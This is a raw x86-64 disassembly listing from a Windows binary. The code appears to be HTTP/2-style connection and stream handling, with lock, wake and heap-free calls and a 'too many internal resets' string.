cmp rdx, r10
mov dword [rdi + 0xa4], ebp
sbb r10, 0
cmp r11, r10
jb 0x14004c8f0
mov r13, rsi
mov qword [rsp + 0x100], r12
mov rdi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x168]
mov r9b, 3
mov r14b, 1
test al, al
je 0x14004ca04
jmp 0x14004ca17
mov qword [rsp + 0x100], r12
movaps xmmword [rsp + 0x570], xmm6
mov r9b, 1
xor r14d, r14d
mov rdi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
mov r13, rsi
mov rsi, qword [rsp + 0x168]
nop dword [rax + rax]
test al, al
jne 0x14004ca17
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004d78f
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14004ca2b
mov rbx, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rbx
test r14b, r14b
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x118]
je 0x140051bc2
mov dword [rdi + 0x440], 2
jmp 0x1400468da
mov rsi, qword [rsp + 0x168]
mov r9b, 3
test al, al
je 0x14004ca04
jmp 0x14004ca17
test bpl, bpl
je 0x14004799c
jmp 0x1400479af
mov dword [rsp + 0x98], r15d
mov qword [rsp + 0x78], rbx
lea rax, [rdx + 8]
mov qword [rsp + 0x110], rax
movzx ebx, byte [rsp + 0xcd8]
mov rax, qword [rsp + 0xcd0]
mov qword [rsp + 0x130], rax
lea r15, [rdx + 0x68]
lea r14, [rdx + 0x1b8]
lea rcx, [rsp + 0x810]
mov rdx, r14
mov r8d, esi
call fcn.140013b00
cmp qword [rsp + 0x810], 0
je 0x14004d427
test esi, esi
je 0x14004dce1
test bl, bl
jne 0x14004dce1
test sil, 1
jne 0x14004dc91
mov eax, 0x2c
mov rcx, qword [rsp + 0x70]
test byte [rcx + 0x90], 1
je 0x14004dca4
jmp 0x14004dcaa
mov byte [rax + 8], 1
mov qword [rax + 9], rcx
mov esi, 2
jmp case.0x14004b6c6.2
mov r14, rbx
test al, al
jne 0x14004cb2f
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004ecc4
xor eax, eax
xchg byte [rdx], al
xor ebx, ebx
mov r9b, 1
cmp al, 2
jne 0x14004cb55
mov rcx, rdx
mov rbx, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rbx
movzx eax, byte [rsp + 0x1a0]
mov ebx, eax
cmp byte [rsp + 0x130], 0
jne 0x14004cb72
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e8c6
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14004cb89
mov rcx, rsi
mov rsi, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rsi
test bl, bl
mov rdx, qword [rsp + 0x118]
je 0x140053ca3
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x200], rax
movups xmm0, xmmword [rsp + 0x570]
movups xmm1, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x1e0], xmm0
mov rsi, qword [rsp + 0xcb8]
mov rax, qword [rsi]
test rax, rax
mov rbx, r14
je 0x14004cbf3
lea rcx, [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x118]
mov rax, qword [rsp + 0x200]
mov qword [rsi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov esi, 2
jmp 0x14004b984
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x200], rax
movzx eax, word [rsp + 0x3d0]
movzx ecx, word [rsp + 0x3d2]
mov edx, dword [rsp + 0x3d4]
mov r8, qword [rsp + 0x3d8]
movups xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x1f0], xmm0
mov word [rsp + 0x1e0], ax
mov word [rsp + 0x1e2], cx
mov dword [rsp + 0x1e4], edx
mov qword [rsp + 0x1e8], r8
movzx eax, byte [rsi + 0x180]
cmp eax, 3
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
je 0x14004dc03
test eax, eax
je 0x14004dc03
cmp eax, 1
jne 0x14004dbdf
lea rcx, [rsi + 0x1a0]
mov rax, qword [rsi + 0x188]
mov rdx, qword [rsi + 0x190]
mov r8, qword [rsi + 0x198]
call qword [rax + 0x10]
jmp 0x14004dc03
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 4
je 0x14004d539
movzx ecx, cl
cmp ecx, 3
jne 0x14004d543
cmp byte [rax + 0x52], 0
je 0x14004d543
mov ecx, dword [r14 + 0xb0]
test ecx, ecx
mov edx, 0
cmovg edx, ecx
cmp edx, ebp
jae 0x14004e215
mov al, 1
mov qword [rsp + 0x40], rax
mov dword [rsp + 0xe0], 3
lea rsi, [0x140131ef8]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
xor ebx, ebx
jmp 0x14004d570
lea rax, [0x1401598d0]
mov qword [rsp + 0x848], rax
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x838], 0
mov dl, 1
movzx r14d, byte [rsp + 0xa7]
mov rsi, rdx
mov qword [rsp + 0xa28], r15
mov dword [rsp + 0x388], r13d
mov byte [rsp + 0xa6], bpl
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x70]
lea rcx, [rsp + 0x3d0]
call fcn.14006f310
mov r9, rsi
mov esi, dword [rsp + 0x98]
test sil, sil
jne 0x14004cde0
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e84c
mov byte [rsp + 0xa7], r14b
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x14004ce00
mov rcx, r15
mov rsi, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rsi
mov esi, 2
cmp r9b, 3
mov rdx, qword [rsp + 0x118]
je 0x14004b984
jmp 0x140053b6d
cmp ebp, dword [r14 + 0x100]
jbe 0x14004d45d
mov sil, 3
mov ebp, dword [rsp + 0x384]
mov rbx, qword [rsp + 0x78]
jmp 0x14004ed3a
mov ecx, dword [rsi + 0x110]
add ecx, dword [rsp + 0x338]
mov r8d, 3
mov rbx, qword [rsp + 0x78]
jo 0x14004d88c
mov qword [rsp + 0x40], rdx
mov dword [rsi + 0x110], ecx
mov qword [rsp + 0x3d0], 2
mov qword [rsp + 0x3f0], 0
mov edx, dword [rsi + 0x114]
mov ecx, edx
add ecx, dword [rsp + 0x338]
jo 0x14004ce97
mov dword [rsi + 0x114], ecx
mov edx, ecx
test edx, edx
jle 0x14004d984
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x98], r15d
lea r15, [rsi + 0x110]
lea rbx, [rsi + 0x134]
jmp 0x14004cef4
cmp dword [rcx + 0x48], 0x3b9aca00
setne r14b
mov rcx, r15
lea rdi, [rsp + 0xa70]
mov rdx, rdi
call fcn.140021480
mov rcx, r12
mov rdx, rdi
mov r8d, r14d
call fcn.140022d30
cmp dword [rsi + 0x114], 0
jle 0x14004d8b7
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
mov r8, rbp
call fcn.1400141d0
mov rax, qword [rsp + 0x1e0]
test rax, rax
je 0x14004d8b7
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0xa70], xmm0
mov edx, dword [rsp + 0x1e8]
mov ecx, dword [rsp + 0x1ec]
mov dword [rsp + 0xe50], edx
mov dword [rsp + 0xe54], ecx
cmp qword [rax + 0x10], rdx
jbe 0x14005504d
mov rax, qword [rax + 8]
imul rdx, rdx, 0x130
cmp dword [rax + rdx], 2
je 0x14005504d
add rax, rdx
cmp dword [rax + 0x114], ecx
jne 0x14005504d
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 3
je 0x14004cf9e
movzx ecx, cl
cmp ecx, 5
jne 0x14004cfa4
cmp byte [rax + 0x51], 1
jne 0x14004cfa4
jmp 0x14004cfb2
cmp byte [rax + 0x51], 0
jne 0x14004cfb2
cmp qword [rax + 0x88], 0
je 0x14004cee7
mov rcx, qword [rsp + 0xa70]
mov edx, dword [rsp + 0xa78]
mov eax, dword [rsp + 0xa7c]
mov dword [rsp + 0xe50], edx
mov dword [rsp + 0xe54], eax
cmp qword [rcx + 0x10], rdx
jbe 0x14005504d
mov rcx, qword [rcx + 8]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x14005504d
add rcx, rdx
cmp dword [rcx + 0x114], eax
je 0x14004cebb
jmp 0x14005504d
mov rcx, rsi
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x140047896
call fcn.14012bf20
mov ebp, eax
xor bpl, 1
movzx eax, byte [r15 + 0x11]
test al, al
je 0x1400478a5
jmp 0x140055210
mov ecx, dword [rsp + 0xe58]
mov esi, dword [rsp + 0xe5c]
mov dword [rsp + 0xfd0], ecx
mov dword [rsp + 0xfd4], esi
cmp qword [rax + 0x10], rcx
movzx r14d, byte [rsp + 0xa7]
jbe 0x140055641
mov rdx, qword [rax + 8]
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je 0x140055641
add rdx, rax
cmp dword [rdx + 0x114], esi
jne 0x140055641
mov qword [rsp + 0x1a0], rcx
add rdx, 0x50
lea rcx, [rsp + 0x570]
call fcn.1400206b0
movzx edx, byte [rsp + 0x570]
movzx eax, byte [rsp + 0x571]
cmp dl, 3
jne 0x14004d4e2
test al, 1
je 0x14004e1e7
mov r15, qword [rsp + 0x70]
cmp byte [r15 + 0x104], 1
jne 0x14004e612
mov dword [rsp + 0xe0], esi
lea rax, [r15 + 8]
lea rdx, [r15 + 0x68]
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x1e0]
mov qword [rsp + 0x40], rdx
mov r8d, ebx
xor r9d, r9d
call fcn.140012bf0
movzx esi, byte [rsp + 0x1e0]
cmp sil, 3
mov rbp, qword [rsp + 0x88]
mov r13, qword [rsp + 0x60]
jne 0x14004ea8e
cmp dword [rsp + 0x1e4], 0
je 0x14004f0ab
mov eax, dword [r15 + 0xf4]
mov ecx, dword [r15 + 0x174]
mov dword [rsp + 0x2f4], ebx
mov byte [rsp + 0x230], 6
mov word [rsp + 0x300], 0
mov qword [rsp + 0x258], 0
mov dword [rsp + 0x298], 0
mov dword [rsp + 0x260], ecx
mov dword [rsp + 0x2f8], 0
mov qword [rsp + 0x1e0], 0
mov dword [rsp + 0x2a4], 0
mov dword [rsp + 0x2b0], 0
mov dword [rsp + 0x2bc], 0
lea rcx, [rsp + 0x1f0]
mov byte [rcx + 0x116], 0
mov dword [rcx + 0x112], 0
movups xmmword [rcx + 0x74], xmm6
mov dword [rcx + 0x84], 0
mov dword [rsp + 0x280], eax
mov dword [rsp + 0x284], eax
mov dword [rsp + 0x2fc], 0
mov dword [rsp + 0x2c8], 0
mov word [rsp + 0x307], 0x100
mov dword [rsp + 0x228], 0x3b9aca00
mov dword [rsp + 0x2d4], 0
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x288], 0
mov dword [rsp + 0x2e0], 0
mov qword [rsp + 0x210], 0
lea rcx, [rsp + 0x960]
mov rdx, qword [rsp + 0x110]
mov r8d, ebx
lea r9, [rsp + 0x1e0]
call fcn.140013760
mov rsi, qword [rsp + 0x960]
mov r13d, dword [rsp + 0x968]
mov r14d, dword [rsp + 0x96c]
mov dword [rsp + 0xa70], r13d
mov dword [rsp + 0xa74], r14d
cmp qword [rsi + 0x10], r13
jbe 0x1400556d8
mov rax, qword [rsi + 8]
imul rbx, r13, 0x130
cmp dword [rax + rbx], 2
je 0x1400556d8
add rax, rbx
cmp dword [rax + 0x114], r14d
jne 0x1400556d8
mov eax, dword [rax + 0x48]
mov dword [rsp + 0x1a8], eax
mov r8d, 0x120
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x3d0]
call fcn.140121660
mov dword [rsp + 0x860], r13d
mov dword [rsp + 0x864], r14d
cmp qword [rsi + 0x10], r13
lea rdi, [rsp + 0x570]
jbe 0x140055f6e
mov rax, qword [rsi + 8]
cmp dword [rax + rbx], 2
je 0x140055f6e
add rax, rbx
cmp dword [rax + 0x114], r14d
jne 0x140055f6e
cmp byte [rax + 0x50], 6
jne 0x14004f258
mov byte [rax + 0x50], 8
mov eax, dword [rsp + 0x2f4]
cmp byte [rsp + 0x2e8], 0
mov dword [rsp + 0xd0], eax
je 0x140050613
mov r14d, 7
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0xba8]
mov rax, qword [rsp + 0xa30]
mov rdx, qword [rsp + 0xba0]
mov r8, qword [rsp + 0xb98]
jmp 0x14004f286
mov rsi, rcx
call fcn.14012be60
mov rcx, rsi
mov rsi, qword [rsp + 0x168]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004bb64
mov rsi, rcx
call fcn.14012bf20
mov rcx, rsi
mov rsi, qword [rsp + 0x168]
xor al, 1
movzx edx, byte [rbx + 0x11]
test dl, dl
je 0x14004bb72
jmp 0x140055244
movzx eax, byte [rsi + 0x60]
xor al, bpl
test al, 1
mov rdx, r14
je 0x14004d85b
test byte [rsi + 0x108], 1
mov rbx, qword [rsp + 0x78]
mov eax, r15d
mov r15d, r13d
jne 0x14004d991
mov r8d, 1
mov ecx, dword [rsp + 0x198]
cmp dword [rsi + 0x10c], ecx
jbe 0x14004d88c
jmp 0x14004d991
mov rax, qword [rsp + 0x818]
mov rcx, qword [rsp + 0x820]
mov rcx, qword [rcx - 8]
mov rdx, qword [rax + 0x10]
cmp rcx, rdx
jae 0x140055992
mov rax, qword [rax + 8]
shl rcx, 4
mov esi, dword [rax + rcx + 8]
mov ebp, dword [rax + rcx + 0xc]
jmp 0x14004de5e
test ebp, ebp
je 0x14004e255
xor bl, bpl
test bl, 1
je 0x14004e48a
mov eax, 0xa4
test byte [r14 + 0x108], 1
jmp 0x14004e497
mov rdx, qword [rsp + 0xc50]
mov rcx, qword [rdx]
cmp rcx, rax
jae 0x14004db9b
cmp rcx, qword [rdi + 0xb0]
setbe cl
cmovbe rdx, qword [rsp + 0xd70]
jmp 0x14004db9d
cmp qword [rdi + 0xb0], rax
je 0x14004dbae
xor ecx, ecx
mov rdx, qword [rsp + 0xc50]
jmp 0x14004db9d
call fcn.14012bf20
test al, al
jne 0x1400479af
mov byte [r15 + 0x11], 1
jmp 0x1400479af
movzx ecx, word [rsp + 0x572]
mov word [rsp + 0x1d2], cx
mov r13d, dword [rsp + 0x574]
mov rcx, qword [rsp + 0x578]
mov qword [rsp + 0x848], rcx
mov r15, qword [rsp + 0x580]
mov rcx, qword [rsp + 0x588]
mov qword [rsp + 0x840], rcx
mov rcx, qword [rsp + 0x590]
mov qword [rsp + 0x838], rcx
mov ebp, eax
jmp 0x14004cd7f
cmp byte [rax + 0x51], 1
je 0x14004cd02
mov dword [rsp + 0xe0], 1
mov al, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
lea rsi, [0x140131ef8]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
mov rax, qword [rsp + 0x570]
mov rdx, qword [rsp + 0x578]
lea rcx, [rsp + 0x588]
mov r8, rbp
call qword [rax + 0x10]
test bl, bl
mov qword [rsp + 0x6b0], rsi
je 0x14004d5ce
sub dword [r14 + 0xf8], ebp
mov eax, dword [r14 + 0xb4]
add eax, ebp
mov rbx, qword [rsp + 0x130]
mov ecx, dword [rsp + 0x110]
jo 0x14004d5c2
mov dword [r14 + 0xb4], eax
cmp ecx, 0x3b9aca00
setne r8b
jmp 0x14004d62f
cmp dword [rsp + 0x110], 0x3b9aca00
setne r8b
cmp byte [rsp + 0x40], 0
mov rbx, qword [rsp + 0x130]
je 0x14004d62f
mov eax, 1
mov qword [rsp + 0x6a0], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x380], eax
mov qword [rsp + 0x520], rsi
mov qword [rsp + 0x698], 0
mov dword [rsp + 0x384], eax
mov rbp, qword [rsp + 0x88]
jmp 0x14004dad0
mov rbp, qword [rsp + 0x88]
cmp dword [rbx], 1
jne 0x14004d664
mov rax, qword [r14 + 0x10]
cmp rax, qword [r14 + 0x58]
jbe 0x14004da85
mov rdx, r14
mov byte [rsp + 0x60], r8b
mov r14d, r15d
mov rax, qword [rdx + 0x58]
cmp qword [rdx + 0x10], rax
ja 0x14004d673
jmp 0x140055dc4
mov byte [rsp + 0x60], r8b
mov rdx, r14
mov r14d, r15d
mov rax, qword [rdx + 0x58]
mov rsi, qword [rsp + 0x70]
lea r9, [rsi + 8]
inc rax
mov qword [rdx + 0x58], rax
lea rcx, [rdx + 0x108]
lea rax, [rdx + 0x1a8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
lea r15, [rsp + 0xfd0]
mov qword [rsp + 0x20], r15
mov rdx, qword [rsp + 0x6b0]
mov r8b, 1
call fcn.1400c2370
mov rdx, r15
mov al, 3
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x380], eax
mov r15d, r14d
movzx r8d, byte [rsp + 0x60]
mov rcx, rbx
call fcn.140022d30
cmp byte [rsp + 0x1a0], 0
je 0x14004daef
jmp 0x14004db02
lea rdx, [rax + 0x11]
movzx r8d, byte [rsp + 0x3d8]
mov byte [rdx + 8], r8b
mov r8, qword [rsp + 0x3d0]
mov qword [rdx], r8
mov rdx, qword [rax]
test rdx, rdx
je 0x14004cb0b
movabs rax, 0xb416870b7adb7c3b
cmp rcx, rax
jne 0x14004cb0b
mov eax, 2
mov ecx, 3
lock cmpxchg qword [rdx + 0x10], rcx
jne 0x14004cb0b
mov rax, qword [rdx + 0x40]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x40], rcx
jne 0x14004d750
test rax, rax
jne 0x14004cb0b
mov rax, qword [rdx + 0x30]
mov rcx, qword [rdx + 0x38]
mov qword [rdx + 0x30], 0
lock and qword [rdx + 0x40], 0xfffffffffffffffd
test rax, rax
je 0x14004cb0b
call qword [rax + 8]
jmp 0x14004cb0b
mov rdi, rcx
mov r15, r9
call fcn.14012bf20
mov r9, r15
mov rcx, rdi
mov rdi, qword [rsp + 0xf8]
test al, al
jne 0x14004ca17
mov byte [rbx + 0x11], 1
jmp 0x14004ca17
mov rcx, rsi
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x140047062
call fcn.14012bf20
mov ebx, eax
xor bl, 1
movzx eax, byte [r13 + 0x11]
test al, al
je 0x140047071
jmp 0x1400553b0
mov rcx, r14
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004709f
call fcn.14012bf20
xor al, 1
movzx ecx, byte [r15 + 0x11]
test cl, cl
je 0x1400470ae
jmp 0x140055395
movzx eax, byte [rsi + 0x60]
xor al, r15b
mov r9b, 3
test al, 1
je 0x14004e52e
test byte [rsi + 0x108], 1
jne 0x14004e57c
mov eax, dword [rsp + 0x198]
cmp dword [rsi + 0x10c], eax
jbe 0x14004e546
jmp 0x14004e57c
test byte [rsi + 0x90], 1
mov rbx, qword [rsp + 0x78]
mov eax, r15d
mov r15d, r13d
jne 0x14004d991
mov r8d, 1
mov ecx, dword [rsp + 0x198]
cmp dword [rsi + 0x94], ecx
ja 0x14004d991
mov dword [rsp + 0xc78], r8d
test al, al
jne 0x14004d8ab
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004f05c
xor eax, eax
xchg byte [rdx], al
mov r9b, 1
jmp 0x14004d9af
mov rdx, qword [rsp + 0x3d0]
cmp rdx, 2
mov rbx, qword [rsp + 0x78]
mov r15d, dword [rsp + 0x98]
mov eax, dword [rsp + 0x70]
je 0x14004d984
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
test dl, 1
je 0x14004d901
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x3e8]
call qword [rax + 0x68]
mov rdi, qword [rsp + 0x3d0]
cmp rdi, 2
mov eax, dword [rsp + 0x70]
je 0x14004d984
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
test dil, 1
je 0x14004d946
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x3e8]
call qword [rax + 0x80]
test rdi, rdi
mov eax, dword [rsp + 0x70]
je 0x14004d984
mov rcx, qword [rsp + 0x3d8]
lock dec qword [rcx]
jne 0x14004d984
mov rcx, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
call case.0x14009a20c.177
mov eax, dword [rsp + 0x70]
mov rdi, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x40]
test al, al
jne 0x14004d9a8
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e9b6
xor eax, eax
xchg byte [rdx], al
mov r9b, 3
cmp al, 2
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
jne 0x14004d9e6
mov rcx, rdx
mov r14, rsi
mov rsi, r13
mov r13d, r15d
mov r15, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, r15
mov r15d, r13d
mov r13, rsi
mov rsi, r14
test r15b, r15b
jne 0x14004d9fe
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e8aa
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14004da15
mov rcx, rsi
mov rsi, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rsi
mov esi, 2
cmp r9b, 3
mov rdx, qword [rsp + 0x118]
je 0x14004b984
jmp 0x140053c75
movaps xmmword [rsp + 0x960], xmm6
mov bl, 1
xor ebp, ebp
mov dword [rsp + 0xa58], edx
mov r12, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x98]
jmp 0x140047719
movaps xmmword [rsp + 0x960], xmm6
mov bl, 1
mov dword [rsp + 0xa58], 3
xor ebp, ebp
mov rsi, qword [rsp + 0x110]
mov rcx, r15
jmp 0x140047719
mov al, 1
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x384], 0xb
mov eax, 0x18
mov qword [rsp + 0x698], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x380], eax
lea rax, [0x1401598d0]
mov qword [rsp + 0x520], rax
lea rax, str.too_many_internal_resets
mov qword [rsp + 0x6a0], rax
lea rdx, [rsp + 0xfd0]
mov rsi, qword [rsp + 0x70]
mov rcx, rbx
call fcn.140022d30
cmp byte [rsp + 0x1a0], 0
jne 0x14004db02
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004eb00
xor eax, eax
xchg byte [rsi], al
cmp al, 2
mov rbx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x188]
jne 0x14004db20
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, qword [rsp + 0x40]
test r15b, r15b
je 0x14004ed74
jmp 0x14004ed83
test rbp, rbp
mov r12, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x6b0]
mov ecx, dword [rsp + 0x380]
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
je 0x14004e922
sub eax, ebp
jl 0x140055b98
mov dword [r14 + 0xb0], eax
mov eax, dword [r14 + 0xb4]
sub eax, ebp
jno 0x14004e91b
mov dword [rsp + 0xe0], 3
mov al, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
lea rsi, [0x140131ef8]
jmp 0x14004d570
xor ecx, ecx
movzx ecx, cl
mov r8, qword [rsp + 0x140]
mov qword [r8], rcx
mov qword [rdx], rax
cmp dword [rdi + 0x4a0], 1
mov rbp, qword [rsp + 0x88]
jne 0x140046ead
mov eax, dword [rdi + 0x4a4]
cmp eax, 0x1000000
jae 0x14005599e
mov dword [rdi + 0x180], eax
jmp 0x140046ead
mov rax, qword [rsi + 0x188]
neg rax
jo 0x14004dc03
jae 0x14004dc03
mov r8, qword [rsi + 0x190]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, rbx
lea rax, [rsi + 0x180]
mov rcx, qword [rsp + 0x200]
mov qword [rax + 0x20], rcx
movzx ecx, word [rsp + 0x1e0]
movzx edx, word [rsp + 0x1e2]
mov r8d, dword [rsp + 0x1e4]
mov r9, qword [rsp + 0x1e8]
movdqa xmm0, xmmword [rsp + 0x1f0]
movdqu xmmword [rax + 0x10], xmm0
mov word [rax], cx
mov word [rax + 2], dx
mov dword [rax + 4], r8d
mov qword [rax + 8], r9
cmp byte [rsp + 0xe0], 0
jne 0x14004dc73
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004ece0
xor eax, eax
mov rdx, qword [rsp + 0x188]
xchg byte [rdx], al
mov bl, 1
mov r9b, 3
cmp al, 2
je 0x14004cb3c
jmp 0x14004cb55
mov eax, 0xa4
mov rcx, qword [rsp + 0x70]
test byte [rcx + 0x108], 1
jne 0x14004dcaa
cmp dword [r15 + rax], esi
jbe 0x14004dce1
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x6a8]
and rcx, rax
or rcx, 5
mov qword [rsp + 0x6a8], rcx
mov byte [rsp + 0xa5], 1
mov qword [rsp + 0x40], 0
jmp 0x14004e164
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x1e0]
mov rdx, r15
mov r8d, esi
mov r9b, 1
call fcn.140012bf0
movzx eax, byte [rsp + 0x1e0]
cmp al, 3
jne 0x14004e0f9
cmp dword [rsp + 0x1e4], 0
mov rbx, qword [rsp + 0x78]
je 0x14004e691
mov eax, dword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x70]
mov ecx, dword [rdx + 0xf4]
mov edx, dword [rdx + 0x174]
mov dword [rsp + 0x4e4], eax
mov byte [rsp + 0x420], 6
mov word [rsp + 0x4f0], 0
mov qword [rsp + 0x448], 0
mov dword [rsp + 0x488], 0
mov dword [rsp + 0x450], edx
mov dword [rsp + 0x4e8], 0
mov qword [rsp + 0x3d0], 0
mov dword [rsp + 0x494], 0
mov dword [rsp + 0x4a0], 0
mov dword [rsp + 0x4ac], 0
lea rax, [rsp + 0x3f0]
mov byte [rax + 0x106], 0
mov dword [rax + 0x102], 0
movups xmmword [rax + 0x64], xmm6
mov dword [rax + 0x74], 0
mov dword [rsp + 0x470], ecx
mov dword [rsp + 0x474], ecx
mov dword [rsp + 0x4ec], 0
mov dword [rsp + 0x4b8], 0
mov word [rsp + 0x4f7], 0x100
mov dword [rsp + 0x418], 0x3b9aca00
mov dword [rsp + 0x4c4], 0
mov qword [rsp + 0x3e8], 0
mov qword [rsp + 0x478], 0
mov dword [rsp + 0x4d0], 0
mov qword [rsp + 0x400], 0
lea rcx, [rsp + 0x810]
lea rdx, [rsp + 0x3d0]
call fcn.140014df0
mov ebp, eax
mov esi, edx
mov dword [rsp + 0xa70], ebp
mov dword [rsp + 0xa74], esi
mov ebx, ebp
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x1c8], rbx
jbe 0x1400556d8
mov rax, qword [rax + 0x1c0]
imul r13, rbx, 0x130
cmp dword [rax + r13], 2
je 0x1400556d8
add rax, r13
cmp dword [rax + 0x114], esi
jne 0x1400556d8
movzx ecx, byte [rax + 0x50]
cmp cl, 5
ja 0x14004df08
lea edx, [rcx - 3]
cmp dl, 3
movzx edx, dl
mov r8d, 1
cmovae edx, r8d
test dl, dl
je 0x14004df08
movzx edx, dl
cmp edx, 1
jne 0x14004dedb
cmp cl, 1
ja 0x14004dedb
cmp byte [rax + 0x51], 2
jae 0x14004df08
mov esi, dword [rsp + 0x194]
mov al, 3
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x88]
lea rcx, [rsp + 0xfd0]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
jmp 0x14004e171
mov qword [rsp + 0xbf8], r15
xor eax, eax
mov cl, 1
mov rdx, qword [rsp + 0x130]
lock cmpxchg byte [rdx], cl
mov rcx, rdx
jne 0x14004efd3
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004effb
xor eax, eax
mov qword [rsp + 0x50], r12
movzx edx, byte [rcx + 1]
test dl, dl
jne 0x140055cbd
mov dword [rsp + 0x1a0], eax
lea rax, [rcx + 8]
mov qword [rsp + 0xcf8], rax
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x300], rax
mov r8d, 0x120
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0xfd0]
call fcn.140121660
lea rax, [rsp + 0xcf8]
test byte [rax + rdi*8], ah
or al, 0
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
add eax, dword [rax]
